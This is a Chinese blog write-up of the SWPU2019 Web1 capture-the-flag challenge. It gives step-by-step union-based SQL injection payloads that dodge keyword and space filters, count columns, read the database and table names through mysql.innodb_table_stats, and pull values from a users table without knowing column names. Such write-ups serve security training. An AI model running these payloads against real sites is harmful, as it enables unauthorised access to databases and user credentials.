[SWPU2019]Web1 1

本文讲述了在SQL联合注入中,如何通过关键字替换和技巧绕过过滤,探测列数、库名、表名及列名,利用group_concat和无列名爆值的方法进行数据提取。作者分享了实战案例和参考链接,展示了在限制条件下进行攻击的策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

知识点:sql联合注入(各种关键词的替换)

我们先注册,尝试以admin为用户名
在这里插入图片描述
提示已被注册,说明存在admin用户,但密码我没有爆破成功,还是老老实实的注册吧。(如果各位大佬成功了,望留言!!
在这里插入图片描述
注册个账号,进入里面唯一能够输入的就是广告位
**加粗样式**
有报错,且会过滤一些关键词,例如and,order by…空格也被过滤了。
在这里插入图片描述
空格我们可以用/**/来代替,order by可以用group by来代替,注释符可以用’来闭合。

当我们查列名23会报错

-1'/**/group/**/by/**/23,'abc

说明列数为22列,下面要查哪些列会回显。
在这里插入图片描述
查看回显列

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'abc

在这里插入图片描述
可以看一下数据库版本

-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'abc

在这里插入图片描述
___________________________________________________________________

接下来就要爆破了。

爆库,库名web1

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

___________________________________________________________________

爆表:
且information_schema.tables被过滤
有两种方法绕过

mysql.innodb_table_stats
sys.schema_auto_increment_columns
1'/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

在这里插入图片描述
___________________________________________________________________

爆列时,显示column_name为未知列,咋办呢,看了其他大佬的wp,说要无列名爆值。

group_concat(column_name)

无列名爆值

普通的sq查询
select * from users

查询表,并把列名替换为123.456
select 1,2,3,4,5 ,6union select * from users

单独把第四列提出来,(select 1,2,3,4,5,6 union select * from users)a给查询结果命名
 select `4` from (select 1,2,3,4,5,6 union select * from users)a;

若反引号被过滤,可以这样
select b from (select 1,2,3 as b,4,5 union select * from users)a;

所以这题payload:
这边是group_concat(b)是因为有可能有列名相同

-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 

参考:
https://www.bilibili.com/video/av97418004
https://www.jianshu.com/p/dc9af4ca2d06
https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值